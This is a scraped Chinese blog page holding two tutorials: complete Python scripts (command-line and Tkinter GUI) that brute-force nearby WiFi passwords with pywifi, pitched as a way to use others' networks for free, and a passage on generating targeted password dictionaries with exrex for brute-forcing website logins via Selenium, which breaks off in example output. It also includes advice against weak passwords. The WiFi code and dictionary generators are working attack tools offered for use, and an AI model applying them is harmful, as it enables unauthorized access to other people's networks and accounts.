精华内容
下载资源
问答
  • Python攻防入门第二章知识总结

    万次阅读 2019-12-09 20:13:13
    Python攻防入门第二章知识总结

    Python攻防入门第二章知识总结

    在这里插入图片描述

    展开全文
  • python攻防脚本scripts

    2020-12-01 23:35:22
    python攻防脚本scripts;AWD比赛专用,管用有效;方便使用VSCODE直接运行,简单修改网址密码即可。
  • Python攻防-暴力破解附近局域网WIFI密码

    千次阅读 多人点赞 2021-08-18 13:45:35
    本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。 无图形界面 先来看看没有图形界面版的爆破脚本。 WIFI爆破 import pywifi from pywifi import const import time import ...

    前言

    本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。

    无图形界面

    先来看看没有图形界面版的爆破脚本。

    WIFI爆破

    import pywifi
    from pywifi import const
    import time
    import datetime
    
    
    # 测试连接,返回链接结果
    def wifiConnect(pwd):
        # 抓取网卡接口
        wifi = pywifi.PyWiFi()
        # 获取第一个无线网卡
        ifaces = wifi.interfaces()[0]
        # 断开所有连接
        ifaces.disconnect()
        time.sleep(1)
        wifistatus = ifaces.status()
        if wifistatus == const.IFACE_DISCONNECTED:
            # 创建WiFi连接文件
            profile = pywifi.Profile()
            # 要连接WiFi的名称
            profile.ssid = "Tr0e"
            # 网卡的开放状态
            profile.auth = const.AUTH_ALG_OPEN
            # wifi加密算法,一般wifi加密算法为wps
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            # 加密单元
            profile.cipher = const.CIPHER_TYPE_CCMP
            # 调用密码
            profile.key = pwd
            # 删除所有连接过的wifi文件
            ifaces.remove_all_network_profiles()
            # 设定新的连接文件
            tep_profile = ifaces.add_network_profile(profile)
            ifaces.connect(tep_profile)
            # wifi连接时间
            time.sleep(2)
            if ifaces.status() == const.IFACE_CONNECTED:
                return True
            else:
                return False
        else:
            print("已有wifi连接")
    
    
    # 读取密码本
    def readPassword():
        success = False
        print("****************** WIFI破解 ******************")
        # 密码本路径
        path = "pwd.txt"
        # 打开文件
        file = open(path, "r")
        start = datetime.datetime.now()
        while True:
            try:
                pwd = file.readline()
                # 去除密码的末尾换行符
                pwd = pwd.strip('\n')
                bool = wifiConnect(pwd)
                if bool:
                    print("[*] 密码已破解:", pwd)
                    print("[*] WiFi已自动连接!!!")
                    success = True
                    break
                else:
                    # 跳出当前循环,进行下一次循环
                    print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("Tr0e",pwd))
            except:
                continue
        end = datetime.datetime.now()
        if(success):
            print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))
        else:
            print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")
        exit(0)
    
    
    if __name__=="__main__":
        readPassword()
    

    代码运行效果:
    在这里插入图片描述

    脚本优化

    以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下面进行改造优化:

    import pywifi
    import time
    from pywifi import const
    
    
    # WiFi扫描模块
    def wifi_scan():
        # 初始化wifi
        wifi = pywifi.PyWiFi()
        # 使用第一个无线网卡
        interface = wifi.interfaces()[0]
        # 开始扫描
        interface.scan()
        for i in range(4):
            time.sleep(1)
            print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')
        print('\r扫描完成!\n' + '-' * 38)
        print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
        # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象
        bss = interface.scan_results()
        # 存放wifi名的集合
        wifi_name_set = set()
        for w in bss:
            # 解决乱码问题
            wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
            wifi_name_set.add(wifi_name_and_signal)
        # 存入列表并按信号排序
        wifi_name_list = list(wifi_name_set)
        wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
        num = 0
        # 格式化输出
        while num < len(wifi_name_list):
            print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
            num += 1
        print('-' * 38)
        # 返回wifi列表
        return wifi_name_list
    
    
    # WIFI破解模块
    def wifi_password_crack(wifi_name):
        # 字典路径
        wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")
        with open(wifi_dic_path, 'r') as f:
            # 遍历密码
            for pwd in f:
                # 去除密码的末尾换行符
                pwd = pwd.strip('\n')
                # 创建wifi对象
                wifi = pywifi.PyWiFi()
                # 创建网卡对象,为第一个wifi网卡
                interface = wifi.interfaces()[0]
                # 断开所有wifi连接
                interface.disconnect()
                # 等待其断开
                while interface.status() == 4:
                    # 当其处于连接状态时,利用循环等待其断开
                    pass
                # 创建连接文件(对象)
                profile = pywifi.Profile()
                # wifi名称
                profile.ssid = wifi_name
                # 需要认证
                profile.auth = const.AUTH_ALG_OPEN
                # wifi默认加密算法
                profile.akm.append(const.AKM_TYPE_WPA2PSK)
                profile.cipher = const.CIPHER_TYPE_CCMP
                # wifi密码
                profile.key = pwd
                # 删除所有wifi连接文件
                interface.remove_all_network_profiles()
                # 设置新的wifi连接文件
                tmp_profile = interface.add_network_profile(profile)
                # 开始尝试连接
                interface.connect(tmp_profile)
                start_time = time.time()
                while time.time() - start_time < 1.5:
                    # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)
                    if interface.status() == 4:
                        print(f'\r连接成功!密码为:{pwd}')
                        exit(0)
                    else:
                        print(f'\r正在利用密码 {pwd} 尝试破解。', end='')
    
    # 主函数
    def main():
        # 退出标致
        exit_flag = 0
        # 目标编号
        target_num = -1
        while not exit_flag:
            try:
                print('WiFi万能钥匙'.center(35, '-'))
                # 调用扫描模块,返回一个排序后的wifi列表
                wifi_list = wifi_scan()
                # 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理
                choose_exit_flag = 0
                while not choose_exit_flag:
                    try:
                        target_num = int(input('请选择你要尝试破解的wifi:'))
                        # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入
                        if target_num in range(len(wifi_list)):
                            # 二次确认
                            while not choose_exit_flag:
                                try:
                                    choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))
                                    # 对用户输入进行小写处理,并判断
                                    if choose.lower() == 'y':
                                        choose_exit_flag = 1
                                    elif choose.lower() == 'n':
                                        break
                                    # 处理用户其它字母输入
                                    else:
                                        print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
                                # 处理用户非字母输入
                                except ValueError:
                                    print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
                            # 退出破解
                            if choose_exit_flag == 1:
                                break
                            else:
                                print('请重新输入哦(*^▽^*)')
                    except ValueError:
                        print('只能输入数字哦o(* ̄︶ ̄*)o')
                # 密码破解,传入用户选择的wifi名称
                wifi_password_crack(wifi_list[target_num][1])
                print('-' * 38)
                exit_flag = 1
            except Exception as e:
                print(e)
                raise e
    
    
    if __name__ == '__main__':
        main()
    

    脚本运行效果如下:
    在这里插入图片描述上述代码实现了依据信号强度枚举当前附近的所有 WIFI 名称,并且可供用户自主选择需要暴力破解的 WIFI,同时还可灵活指定暴力破解的字典,相对而言体验感提升了不少。进一步也可以将上述脚本打包生成 exe 文件,双击运行效果如下:
    在这里插入图片描述

    图形化界面

    下面基于 Python 的 GUI 图形界面开发库 Tkinter 优化上述脚本,实现友好的可视化 WIFI 暴力破解界面工具。关于 Tkinter 库的语法可参见:Python GUI编程(Tkinter)

    简单版UI

    from tkinter import *
    from pywifi import const
    import pywifi
    import time
    
    
    # 主要步骤:
    # 1、获取第一个无线网卡
    # 2、断开所有的wifi
    # 3、读取密码本
    # 4、设置睡眠时间
    def wificonnect(str, wifiname):
        # 窗口无线对象
        wifi = pywifi.PyWiFi()
        # 抓取第一个无线网卡
        ifaces = wifi.interfaces()[0]
        # 断开所有的wifi
        ifaces.disconnect()
        time.sleep(1)
        if ifaces.status() == const.IFACE_DISCONNECTED:
            # 创建wifi连接文件
            profile = pywifi.Profile()
            profile.ssid = wifiname
            # wifi的加密算法
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            # wifi的密码
            profile.key = str
            # 网卡的开发
            profile.auth = const.AUTH_ALG_OPEN
            # 加密单元,这里需要写点加密单元否则无法连接
            profile.cipher = const.CIPHER_TYPE_CCMP
            # 删除所有的wifi文件
            ifaces.remove_all_network_profiles()
            # 设置新的连接文件
            tep_profile = ifaces.add_network_profile(profile)
            # 连接
            ifaces.connect(tep_profile)
            time.sleep(3)
            if ifaces.status() == const.IFACE_CONNECTED:
                return True
            else:
                return False
    
    
    def readPwd():
        # 获取wiif名称
        wifiname = entry.get().strip()
        path = r'./pwd.txt'
        file = open(path, 'r')
        while True:
            try:
                # 读取
                mystr = file.readline().strip()
                # 测试连接
                bool = wificonnect(mystr, wifiname)
                if bool:
                    text.insert(END, '密码正确' + mystr)
                    text.see(END)
                    text.update()
                    file.close()
                    break
                else:
                    text.insert(END, '密码错误' + mystr)
                    text.see(END)
                    text.update()
            except:
                continue
    
    
    # 创建窗口
    root = Tk()
    root.title('wifi破解')
    root.geometry('500x400')
    # 标签
    label = Label(root, text='输入要破解的WIFI名称:')
    # 定位
    label.grid()
    # 输入控件
    entry = Entry(root, font=('微软雅黑', 14))
    entry.grid(row=0, column=1)
    # 列表控件
    text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
    text.grid(row=1, columnspan=2)
    # 按钮
    button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
    button.grid(row=2, columnspan=2)
    # 显示窗口
    root.mainloop()
    

    脚本运行效果:
    在这里插入图片描述

    UI升级版

    以上图形界面未允许选择密码字典,下面进行优化升级:

    from tkinter import *
    from tkinter import ttk
    import pywifi
    from pywifi import const
    import time
    import tkinter.filedialog  # 在Gui中打开文件浏览
    import tkinter.messagebox  # 打开tkiner的消息提醒框
    
    
    class MY_GUI():
        def __init__(self, init_window_name):
            self.init_window_name = init_window_name
            # 密码文件路径
            self.get_value = StringVar()  # 设置可变内容
            # 获取破解wifi账号
            self.get_wifi_value = StringVar()
            # 获取wifi密码
            self.get_wifimm_value = StringVar()
            # 抓取网卡接口
            self.wifi = pywifi.PyWiFi()
            # 抓取第一个无线网卡
            self.iface = self.wifi.interfaces()[0]
            # 测试链接断开所有链接
            self.iface.disconnect()
            time.sleep(1)  # 休眠1秒
            # 测试网卡是否属于断开状态
            assert self.iface.status() in \
                   [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    
        def __str__(self):
            # 自动会调用的函数,返回自身的网卡
            return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
    
        # 设置窗口
        def set_init_window(self):
            self.init_window_name.title("WIFI破解工具")
            self.init_window_name.geometry('+500+200')
            labelframe = LabelFrame(width=400, height=200, text="配置")  # 框架,以下对象都是对于labelframe中添加的
            labelframe.grid(column=0, row=0, padx=10, pady=10)
            self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
            self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
            self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)
            self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
            self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)
            self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)
            self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
            self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)
            self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
            self.wifi_labelframe = LabelFrame(text="wifi列表")
            self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
            # 定义树形结构与滚动条
            self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
            self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
            self.wifi_tree.configure(yscrollcommand=self.vbar.set)
            # 表格的标题
            self.wifi_tree.column("a", width=50, anchor="center")
            self.wifi_tree.column("b", width=100, anchor="center")
            self.wifi_tree.column("c", width=100, anchor="center")
            self.wifi_tree.column("d", width=100, anchor="center")
            self.wifi_tree.heading("a", text="WiFiID")
            self.wifi_tree.heading("b", text="SSID")
            self.wifi_tree.heading("c", text="BSSID")
            self.wifi_tree.heading("d", text="signal")
            self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
            self.wifi_tree.bind("<Double-1>", self.onDBClick)
            self.vbar.grid(row=4, column=1, sticky=NS)
    
        # 搜索wifi
        def scans_wifi_list(self):  # 扫描周围wifi列表
            # 开始扫描
            print("^_^ 开始扫描附近wifi...")
            self.iface.scan()
            time.sleep(15)
            # 在若干秒后获取扫描结果
            scanres = self.iface.scan_results()
            # 统计附近被发现的热点数量
            nums = len(scanres)
            print("数量: %s" % (nums))
            # 实际数据
            self.show_scans_wifi_list(scanres)
            return scanres
    
        # 显示wifi列表
        def show_scans_wifi_list(self, scans_res):
            for index, wifi_info in enumerate(scans_res):
                self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
    
        # 添加密码文件目录
        def add_mm_file(self):
            self.filename = tkinter.filedialog.askopenfilename()
            self.get_value.set(self.filename)
    
        # Treeview绑定事件
        def onDBClick(self, event):
            self.sels = event.widget.selection()
            self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
    
        # 读取密码字典,进行匹配
        def readPassWord(self):
            self.getFilePath = self.get_value.get()
            self.get_wifissid = self.get_wifi_value.get()
            pwdfilehander = open(self.getFilePath, "r", errors="ignore")
            while True:
                try:
                    self.pwdStr = pwdfilehander.readline()
                    if not self.pwdStr:
                        break
                    self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                    if self.bool1:
                        self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr)
                        self.get_wifimm_value.set(self.pwdStr)
                        tkinter.messagebox.showinfo('提示', '破解成功!!!')
                        print(self.res)
                        break
                    else:
                        self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr)
                        print(self.res)
                    time.sleep(3)
                except:
                    continue
    
        # 对wifi和密码进行匹配
        def connect(self, pwd_Str, wifi_ssid):
            # 创建wifi链接文件
            self.profile = pywifi.Profile()
            self.profile.ssid = wifi_ssid  # wifi名称
            self.profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
            self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
            self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
            self.profile.key = pwd_Str  # 密码
            self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
            self.tmp_profile = self.iface.add_network_profile(self.profile)  # 设定新的链接文件
            self.iface.connect(self.tmp_profile)  # 链接
            time.sleep(5)
            if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
                isOK = True
            else:
                isOK = False
            self.iface.disconnect()  # 断开
            time.sleep(1)
            # 检查断开状态
            assert self.iface.status() in \
                   [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
            return isOK
    
    
    def gui_start():
        init_window = Tk()
        ui = MY_GUI(init_window)
        print(ui)
        ui.set_init_window()
        init_window.mainloop()
    
    
    if __name__ == "__main__":
        gui_start()
    

    脚本运行效果如下:
    在这里插入图片描述
    以上基于 Python 的 GUI 图形界面开发库 Tkinter,实际上 Python 的 GUI 编程可以借助 PyQt5 来自动生成 UI 代码,相关教程可参见:PyQt5设计GUI(一)pycharm中配置pyqt5

    总结

    本文学习了 Python 暴力破解 WIFI 密码的方法、以及 Python GUI 图形化编程的基础使用。所演示的代码的不足在于均没有使用多线程进行 WIFI 连接测试,实际上因为 WIFI 连接测试需要一定的耗时(3-5秒),故使用多线程将能减少暴力破解过程的等待时间。

    展开全文
  • [网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站防护.pdf
  • [网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四).pdf
  • 前文分享了Python网络攻防相关基础知识,包括正则表达式、Web编程和套接字通信,本文将继续分析Python攻防之多线程、C段扫描和数据库编程。本文参考了爱春秋ADO老师的课程内容,这里也推荐大家观看他Bilibili和...

    这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了Python网络攻防相关基础知识,包括正则表达式、Web编程和套接字通信,本文将继续分析Python攻防之多线程、C段扫描和数据库编程。本文参考了爱春秋ADO老师的课程内容,这里也推荐大家观看他Bilibili和ichunqiu的课程,同时也结合了作者之前的经验进行讲解。

    作者作为网络安全的小白,分享一些自学基础教程给大家,希望你们喜欢。同时,更希望你能与我一起操作深入进步,后续也将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不容易,大神请飘过,不喜勿喷,谢谢!

    下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-study
    百度网盘:https://pan.baidu.com/s/1dsunH8EmOB_tlHYXXguOeA 提取码:izeb

    展开全文
  • 前文分享了Python网络攻防基础知识、Python多线程、C段扫描和数据库编程,本文将分享Python攻防之自定义字典生成,调用Python的exrex库实现。本文参考了爱春秋ADO老师的课程内容,这里也推荐大家观看他Bilibili和...

    这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了Python网络攻防基础知识、Python多线程、C段扫描和数据库编程,本文将分享Python攻防之自定义字典生成,调用Python的exrex库实现。本文参考了爱春秋ADO老师的课程内容,这里也推荐大家观看他Bilibili和ichunqiu的课程,同时也结合了作者之前的编程经验进行讲解。

    很多人学习python,不知道从何学起。
    很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手。
    很多已经做案例的人,却不知道如何去学习更加高深的知识。
    那么针对这三类人,我给大家提供一个好的学习平台,免费领取视频教程,电子书籍,以及课程的源代码!
    QQ群:961562169

    作者作为网络安全的小白,分享一些自学基础教程给大家,希望你们喜欢。同时,更希望你能与我一起操作深入进步,后续也将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不容易,大神请飘过,不喜勿喷,谢谢!

    文章目录

    • 一.基础概念
    • 1.暴力破解法2.Web账号和口令3.数据库4.Google5.弱口令(weak password)
    • 二.Python调用exrex库生成密码
    • 三.高精度字典生成
    • 四.Selenium实现网站暴力登录
    • 1.生成密码2.自动登录
    • 五.BurpSuite网站渗透
    • 六.总结

    一.基础概念

    1.暴力破解法

    暴力破解法又称为穷举法,是一种针对密码的破译方法。暴力破解被认为是打开系统或网站最直接、最简单的攻击之一,而且由于弱密码一直存在,攻击者乐此不彼。破解任何一个密码也都只是时间问题,密码越复杂时间越漫长。

    在这里插入图片描述

    2.Web账号和口令

    字典是按照特定组合方式生成包含很多密码的字典文件,包括字符型、数字型、组合型等,Web账号常见口令如admin、test、guest、administrator、666666、123456等。通常管理员会选择容易记住的口令好,这会造成账号和口令被暴力破解;而且密码会存在一些规则,比如长度 、字符要求等,这也会造成一些组合的泄露。

    密码通常是以常见密码为母本,结合密码组合规则生成。假设网站域名为 http://demo.study.com,可能的密码组合方式包括:demo、study、demo123、demoadmin、demo@admin、study123、study666等等,接着再使用BP进行暴力破解。

    在这里插入图片描述

    3.数据库

    指通过一些技术手段或者程序漏洞得到数据库的地址,并将数据非法下载到本地。安全人员非常乐意于这种工作,为什么呢?因为安全人员在得到网站数据库后,就能得到网站管理账号,对网站进行破坏与管理,他们也能通过数据库得到网站用户的隐私信息,甚至得到服务器的最高权限。

    网站后台管理入口常用的关键字包括:admin.asp、manage.asp、login.asp、conn.asp等,可以通过网站图片属性、网站链接、网站管理系统(CMS)、robots.txt文件进行查找,包括谷歌浏览器的搜索语法:“inurl: asp?id=”、“intitle:后台管理”;也可以通过wwwscan、御剑、阿D注入工具等查找。


    4.Google

    Google提供了强大的搜索功能,可以获取精准的结果。如果访问不了,也可以通过百度获取相关内容,但是结果远没有谷歌精准。常见方法如下:

    • intitle:eastmount
      搜索网页标题包含eastmount字符的网页。
    • inurl:cbi
      搜索包含特定字符cbi的URL。
    • intext:cbi
      搜索网页正文内容包含特定字符cbi的网页。
    • filetype:ppt
      搜索制定类型的文件,返回所有以ppt结尾的文件URL。
    • site
      找到与指定网站有联系的URL。常用示例:inurl:login.asp、inurl:asp?id=、inurl:login.asp intilte:贵州,如下图所示查询后台登录页面。

    在这里插入图片描述

    5.弱口令(weak password)

    通常认为容易被别人猜测到或被破解工具破解的口令均为弱口令。弱口令指的是仅包含简单数字和字母的口令,例如“123”、“abc”等,因为这样的口令很容易被别人破解,从而使用户的计算机面临风险,因此不推荐用户使用。

    常见弱口令有:

    • 数字或字母连排或混排,键盘字母连排(如:123456,abcdef,123abc,qwerty,1qaz2wsx等);
    • 生日,姓名+生日(利用社工非常容易被破解);
    • 短语密码(如:5201314,woaini1314等)。

    下图引用至freebuf网站,它是2015年公布过最弱密码排行榜(此网站要求密码6-18位),同时也推荐读者学习下面两篇文章。
    安全科普:浅谈弱口令的危害 - freebuf 深信服实验室
    使用Kettle模型清洗全国弱口令Top 1000 - freebuf 水熊科技

    在这里插入图片描述

    弱口令很容易被他人猜到或破解 ,所以如果你使用弱口令,就像把家门钥匙放在家门口的垫子下面,这种行为是非常危险的。深信服实验室给出了如下的安全建议:

    • 针对管理人员,应强制其账号密码强度必须达到一定的级别;
    • 建议密码长度不少于8位,且密码中至少包含数字、字母和符号;
    • 不同网站应使用不同的密码,以免遭受“撞库攻击”;
    • 避免使用生日,姓名等信息做密码,远离社工危害。

    二.Python调用exrex库生成密码

    下面简单介绍Python调用exrex库生成密码。exrex是一个命令行工具和python模块,它生成与给定正则表达式等匹配的所有或随机字符串。具有以下特征:

    • 生成所有匹配的字符串
    • 生成随机匹配字符串
    • 计算匹配字符串的数量
    • 简化正则表达式

    其安装方法直接调用“pip install exrex”指令即可,如下图所示。
    https://github.com/asciimoo/exrex

    在这里插入图片描述

    下面是exrex库的一个入门代码。

    # -*- coding: utf-8 -*-
    import exrex
    
    #填入正则表达式的代码会生成对应的内容
    print exrex.getone('(ex)r\\1')
    
    #转换列表 匹配2个hai或word
    num = list(exrex.generate('((hai){2}|word!)'))
    print num
    
    #数字 如3575-7048-5984-2471
    print exrex.getone('\d{4}-\d{4}-\d{4}-[0-9]{4}')
    
    #时间
    print exrex.getone('(1[0-2]|0[1-9])(:[0-5]\d){2} (A|P)M')
    
    #计数
    print exrex.count('[01]{0,9}')
    
    #假设知道某个密码的组合方式,需要将所有的密码都列举出来
    num = list(exrex.generate('[Pp][a@]ssw[Oo]rd'))
    print num
    

    它的输出结果如下图所示,最重要的是通过 exrex.generate(’[Pp][a@]ssw[Oo]rd’) 组合密码。

    在这里插入图片描述

    exrex库是对re.DEBUG模式下进行的归类和分析,从而匹配内容,其原理相当于下面这个代码。

    # -*- coding: utf-8 -*-
    import re
    
    data = 'abcdef'
    t = re.findall('a', data, re.DEBUG)
    print t, '\n'
    
    t = re.findall('a(.*)c', data, re.DEBUG)
    print t
    

    输出结果如下图所示,literal 97 对应的ascii码的“a”字母,接着匹配字母“b”。

    在这里插入图片描述


    三.高精度字典生成

    假设存在一个网站(https://demo.eastmount.com/),它的字典可能是由demo和eastmount组合而成,下面我们编写一个代码对它的密码进行组合。

    # -*- coding: utf-8 -*-
    import exrex
    
    # ------------------- URL切割并处理成按斜杠划分的格式 -------------------------
    def host_pare(host):
        # 获取核心字符串
        if '://' in host: 
            host = host.split('://')[1].replace('/', '')
    
        if '/' in host: #demo.webdic.com
            host = host.replace('/', '')
            
        return host
    
    # 白名单包含的字典不能作为字典的内容
    web_white = ['com', 'cn', 'gov', 'edu', 'org', 'www']
    
    
    # ------------------- 将获取的hosts放入字典生成函数中 -------------------------
    def dic_create(hosts):
        dics = []
        
        # 切割
        web_dics = hosts.split('.')
    
        # 取出有用的东西,如demo、eastmount放入字典生成器
        for web_dic in web_dics:
            if web_dic not in web_white:  # 定义白名单过滤com
                #print web_dic
                dics.append(web_dic)
                
        return dics
    
    # ---------------------------------- 生成字典密码 -------------------------------
    def make_pass(dics):
    
        for dic in dics:
            #获取字典中的内容
            f_pass = open('pass.txt', 'r')
            for pwd in f_pass:
                #print pwd
                pwd = pwd.strip('\n') #过滤换行
                
                #dic+@+pwd
                final_pwds = list(exrex.generate(dic + '[@]' + pwd))
                for final_pwd in final_pwds:
                    print final_pwd
                    
    # ---------------------------------- 主函数 ------------------------------------
    if __name__ == '__main__':
        url = 'https://demo.eastmount.com/'
        dics = dic_create(host_pare(url))
        make_pass(dics)
    

    本地定义了一个 pass.txt 文件夹,用于存放常见的密码。

    在这里插入图片描述

    通过上面代码组合生成如下的密码,可以看到它由demo、eastmount和我们自定义的词典组成。

    在这里插入图片描述

    但是,未来修改密码比较繁琐,我们希望将核心的生产规则写入配置文件,为后期使用提供方便,所以接下来我们创建一个 rule.ini 文件,其内容如下所示。其中,# 表示注释,提示这算是一个字典文件,而最重要的一行代码是我们的生成字典规则。
    在这里插入图片描述

    接着我们继续补充上面代码,读取文件分析该规则(|{dic})(|#|@)(|{pwd})(|#|@)(|201[6789]),它是由dic、特殊字符、pwd和年份组成的。

    # -*- coding: utf-8 -*-
    import exrex
    
    # ------------------- URL切割并处理成按斜杠划分的格式 -------------------------
    def host_pare(host):
        # 获取核心字符串
        if '://' in host: 
            host = host.split('://')[1].replace('/', '')
    
        if '/' in host: #demo.webdic.com
            host = host.replace('/', '')
            
        return host
    
    # 白名单包含的字典不能作为字典的内容
    web_white = ['com', 'cn', 'gov', 'edu', 'org', 'www']
    
    
    # ------------------- 将获取的hosts放入字典生成函数中 -------------------------
    def dic_create(hosts):
        dics = []
        
        # 切割
        web_dics = hosts.split('.')
    
        # 取出有用的东西,如demo、eastmount放入字典生成器
        for web_dic in web_dics:
            if web_dic not in web_white:  # 定义白名单过滤com
                #print web_dic
                dics.append(web_dic)
                
        return dics
    
    # --------------------------------------- 生成字典密码 --------------------------------------
    def make_pass(dics):
    
        for dic in dics:
            #打开配置文件
            f_rule = open('rule.ini', 'r')
            for i in f_rule:
                if '#' != i[0]: #判断第一个字符 非#表示配置内容
                    rule = i
                    print u'The rule is ', i
    
            #保存生成的字典
            fout = open('pass_out.txt', 'w')
            fout.close()
                    
            #获取字典中的内容
            f_pass = open('pass.txt', 'r')
            for pwd in f_pass:
                #部分密码较弱 根据网站设置长度
                final_pwds = list(exrex.generate(rule.format(dic=dic, pwd=pwd.strip('\n'))))
                #遍历密码
                for final_pwd in final_pwds:
                    if len(final_pwd) > 6:
                        print final_pwd
                        #保存生成的字典
                        fout = open('pass_out.txt', 'a+')
                        fout.write(final_pwd + '\n')
                        fout.close()
                    
    # ----------------------------------------- 主函数 ---------------------------------------------
    if __name__ == '__main__':
        url = 'https://demo.eastmount.com/'
        dics = dic_create(host_pare(url))
        make_pass(dics)
    

    输出结果如下所示:

    admin2016
    admin2017
    admin2018
    admin2019
    demoadmin#2016
    demoadmin#2017
    demoadmin#2018
    demoadmin#2019
    demoadmin@
    demoadmin@2016
    demoadmin@2017
    demoadmin@2018
    demoadmin@2019
    ...
    eastmount@
    eastmount@2016
    eastmount@2017
    eastmount@2018
    eastmount@2019
    eastmountadmin
    eastmountadmin2016
    eastmountadmin2017
    eastmountadmin2018
    eastmountadmin2019
    ...
    

    四.Selenium实现网站暴力登录

    接下来作者将讲述一个Python调用Selenium自动化爬虫库实现某网站暴力登录的案例。为了第五部分BurpSuite工具使用方便,这里寻找的目标网站为HTTP类型。假设通过社会工程学方法获取了某用户名,如yangxiuzhang,这里需要暴力获取它密码,实现登录。

    注意:很多高校和政务网站系统都存在弱口令漏洞,通过工号、学号结合常见密码很容易进行暴力获取。所以建议大家的密码尽量复杂,而且不要一个密码所有网站通用。

    1.生成密码

    假设某网站的密码由三部分组成——字母、数字、下划线,如下图所示(社会工程学探索密码信息)。

    在这里插入图片描述

    这里作者的密码设置为 Yxz123456_,则暴力获取密码的构造方法为:
    1.构建常用弱口令密码: [‘123456’, ‘111111’, ‘666666’, ‘12345678’, ‘qwerty’, ‘123456789’, ‘abc123’];
    2.生成作者的名字简称,含大小写,如YXZ、yxz、Yxz、yXZ等;
    3.构建特殊字符串;
    4.三种方式进行随机组合,从而构造密码词典;很多网站甚至不需要组合,通过常见弱口令如“123456”即可登录。

    # -*- coding: utf-8 -*-
    import exrex
    
    # 常见密码 弱口令
    pwds = ['123456', '111111', '666666', '12345678', 'qwerty', '123456789', 'abc123']
    
    # 生成字典密码 
    def make_pass(pwds):
    
        #保存生成的字典
        fout = open('pass_out.txt', 'w')
        fout.close()
            
        #假设包含三种内容 1.字符串YXZ 2.数字密码 3.下划线或井号
        for pwd in pwds:
            #假设三种组合(含大小写) Yxz123456_ 123456yxz_   _yxZ123456
            rules = ['({pwd})([Yx][Xx][Zz])(_|#)',
                    '([Yx][Xx][Zz])({pwd})(_|#)',
                     '(_|#)({pwd})([Yx][Xx][Zz])']
    
            #密码生成
            for rule in rules:
                final_pwds = list(exrex.generate(rule.format(pwd=pwd)))
                for final_pwd in final_pwds:
                    print final_pwd
                    #保存生成的字典
                    fout = open('pass_out.txt', 'a+')
                    fout.write(final_pwd + '\n')
                    fout.close()
                    
    # 主函数
    if __name__ == '__main__':
        make_pass(pwds)
    

    最终生成的密码如下所示:

    >>> 
    123456YXZ_
    123456YXZ#
